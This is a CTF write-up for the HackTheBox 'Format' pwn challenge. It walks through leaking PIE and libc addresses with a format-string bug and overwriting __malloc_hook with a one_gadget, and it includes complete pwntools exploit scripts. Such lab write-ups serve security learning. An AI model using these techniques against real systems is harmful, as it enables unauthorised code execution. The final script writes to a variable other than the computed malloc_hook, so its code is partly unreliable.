← Back to Writeups
HTBN/APwn

Format

XESXOR8/23/20266 min read
#pwn#htb#n/a

Format

Platform: HackTheBox | Category: Pwn | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10

Description

Can you hear the echo?

Solution Approach

Core idea: Exploiting Format String Bug (FSB). Utilize FSB to overwrite __malloc_hook with one-gadget.

Steps

  1. In this challenge we're given a 64 bit binary, dynamically linked, and not stripped.
┌──(D3v0o0Nu11㉿htb)-[~/Downloads/format_htb]
└─$ file format
format: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=5d38e04d29b4aae722164869f3151cea776ce91c, for GNU/Linux 3.2.0, not stripped

BINARY PROTECTIONS

┌──(D3v0o0Nu11㉿htb)-[~/Downloads/format_htb]
└─$ pwn checksec format                                     
[*] '/home/D3v0o0Nu11/Downloads/format_htb/format'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
  1. After decompiled the binary, it seems we can leak - calculate the piebase and libc base using the format strings vuln.

  2. But there is no BOF, hence we can't do ret2libc here. Also, we can't overwrite the Global Offset Table because RELRO is full.

  3. So how to get RCE? We still can utilize __malloc_hook.

MALLOC HOOK

  • __malloc_hook is a hook function which is called whenever malloc is called.
  • We can use one_gadget and we can trigger them by sending big buffer.
  • printf() will use malloc to allocate memory after we sent big buffer.
  1. Let us grab the piebase and potential libc.

Many potential pie we can use to calculate the base.

NOTES: In this writeup i won't explain again how to calculate the libc base and piebase again, i've explained this many times, go check my other writeups for explaination.

  1. After calculating the piebase and libc base, before overwriting __malloc_hook with one_gadget, we need to identify the libc used at the remote server so we won't work twice.
  2. Well, what I did to identify the remote server is kind of lucky, I guess; maybe there are many ways that are more straightforward.

FLOW

  • Do breakrva at the printf() and run the script using GDB args.

SCRIPT Pt.1

from pwn import *
import os
os.system('clear')

def start(argv=[], *a, **kw):
    if args.REMOTE:
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    elif args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

### 0x11f1

gdbscript = '''
init-pwndbg
breakrva 0x11f1
continue
'''.format(**locals())

exe = './format'
elf = context.binary = ELF(exe, checksec=True)

### context.log_level = 'DEBUG'

### context.log_level = 'ERROR'

context.log_level = 'INFO'

library = '/lib/x86_64-linux-gnu/libc.so.6'
libc = context.binary = ELF(library, checksec=False)

### # LEAKING POTENTIAL LIBC BASE

sh = start()
for i in range(200):
    sh.sendline('%{}$p'.format(i))
    get = sh.recvline().strip()
    print(str(i), ':', get)

We got IO_2_1_stdin

  • But when i used the leaked IO_2_1_stdin at the remote server and check it on blukat, it did not found any libc relevant to this.

  • Anyway, at the end i got result after sending the IO_2_1_stderr.

  • But, we need to know the actual libc used, to minimize the probability i used the leaked _IO_file_jumps.

AT REMOTE

RESULT at libc blukat

  • It's better than before, but we need to find the correct one. Notice, we can ignore the first seven (because they are for 32 bit).

  • Our interest are these:

  • So this is where my way gets unintended, I didn't leak the printf@got or fgets@got to get more accurate libc result, I immediately tried the libc6_2.27-3ubuntu1_amd64 . So what comes to my mind, if the libc6_2.27-3ubuntu1_amd64 does not work, i will use the libc6_2.27-3ubuntu1.2_amd64 and so on.

FYI --> snippet for get fmtstr offset.

sh = process(exe)
def exploit(payload):
    sh.sendline(payload)
    return sh.recvline().strip()

format_strings = FmtStr(execute_fmt=exploit)
log.success('OFFSET --> %d', format_strings.offset)

  1. Download the libc and do pwninit.

  2. Let us grab one_gadget and __malloc_hook.

ONE_GADGET --> try the 2nd one (0x4f322).

  1. Our script so far.

SCRIPT (95%).

from pwn import *
import os
os.system('clear')

def start(argv=[], *a, **kw):
    if args.REMOTE:
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    elif args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

### 0x11f1

gdbscript = '''
init-pwndbg
breakrva 0x11f1
continue
'''.format(**locals())

exe = './format_patched'
elf = context.binary = ELF(exe, checksec=True)

### context.log_level = 'DEBUG'

### context.log_level = 'ERROR'

context.log_level = 'INFO'

### library = '/lib/x86_64-linux-gnu/libc.so.6'

library = './libc6_2.27-3ubuntu1_amd64.so' # remote libc
libc = context.binary = ELF(library, checksec=False)

### # LEAKING POTENTIAL LIBC BASE

### sh = start()

### for i in range(200):

### sh.sendline('%{}$p'.format(i))

### get = sh.recvline().strip()

### print(str(i), ':', get)

### GET FORMAT STRINGS OFFSET

sh = process(exe)
def exploit(payload):
    sh.sendline(payload)
    return sh.recvline().strip()

format_strings = FmtStr(execute_fmt=exploit)
log.success('OFFSET --> %d', format_strings.offset)

sh = start()
#pause()

### # sh.sendline('%37$p.%1$p')

### sh.sendline('%37$p.%28$p') # 28 _IO_file_jumps

sh.sendline('%37$p.%2$p')
get = sh.recvline().strip()
leaked_pie = int(get[:14], 16)
log.success('LEAKED PIE --> %#0x', leaked_pie)
elf.address = leaked_pie - 0x126d # 4717
log.success('PIE BASE --> %#0x', elf.address)

leaked_libc = int(get[15:], 16)
log.success('LEAKED LIBC --> %#0x', leaked_libc)
libc.address = leaked_libc - 0x3ed8d0 # 4118736
log.success('LIBC BASE --> %#0x', libc.address)

malloc_hook = libc.address + 0x98700
log.success('MALLOC HOOK --> %#0x', malloc_hook)

one_gadget = libc.address + 0x4f322
malloc = libc.address + 0x3ebc30

sh.interactive()
  1. For the final script, we just need to overwrite __malloc_hook to one_gadget using fmtstr_payload, then send big buffer.

FINAL SCRIPT

from pwn import *
import os
os.system('clear')

def start(argv=[], *a, **kw):
    if args.REMOTE:
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    elif args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

### 0x11f1

gdbscript = '''
init-pwndbg
breakrva 0x11f1
continue
'''.format(**locals())

exe = './format_patched'
elf = context.binary = ELF(exe, checksec=True)

### context.log_level = 'DEBUG'

### context.log_level = 'ERROR'

context.log_level = 'INFO'

### library = '/lib/x86_64-linux-gnu/libc.so.6'

library = './libc6_2.27-3ubuntu1_amd64.so' # remote libc
libc = context.binary = ELF(library, checksec=False)

### # LEAKING POTENTIAL LIBC BASE

### sh = start()

### for i in range(200):

### sh.sendline('%{}$p'.format(i))

### get = sh.recvline().strip()

### print(str(i), ':', get)

### GET FORMAT STRINGS OFFSET

sh = process(exe)
def exploit(payload):
    sh.sendline(payload)
    return sh.recvline().strip()

format_strings = FmtStr(execute_fmt=exploit)
log.success('OFFSET --> %d', format_strings.offset)

sh = start()
#pause()

### # sh.sendline('%37$p.%1$p')

### sh.sendline('%37$p.%28$p') # 28 _IO_file_jumps

sh.sendline('%37$p.%2$p')
get = sh.recvline().strip()
leaked_pie = int(get[:14], 16)
log.success('LEAKED PIE --> %#0x', leaked_pie)
elf.address = leaked_pie - 0x126d # 4717
log.success('PIE BASE --> %#0x', elf.address)

leaked_libc = int(get[15:], 16)
log.success('LEAKED LIBC --> %#0x', leaked_libc)
libc.address = leaked_libc - 0x3ed8d0 # 4118736
log.success('LIBC BASE --> %#0x', libc.address)

malloc_hook = libc.address + 0x98700
log.success('MALLOC HOOK --> %#0x', malloc_hook)

one_gadget = libc.address + 0x4f322
malloc = libc.address + 0x3ebc30

payload = fmtstr_payload(format_strings.offset, {malloc:one_gadget})
sh.sendline(payload)
sh.sendline(b'%100000s') # GOT RCE AT 100000s. | or you can just send %1000000c --> Since we're sending big buffer, it shall trigger malloc usage.

### Forcing libc to allocate space on the heap.

sh.interactive()

TEST LOCAL

TEST REMOTELY

Flag

REDACTED

Lessons Learned

  1. Exploiting Format String Bug (FSB).
  2. Utilize FSB to overwrite __malloc_hook with one-gadget.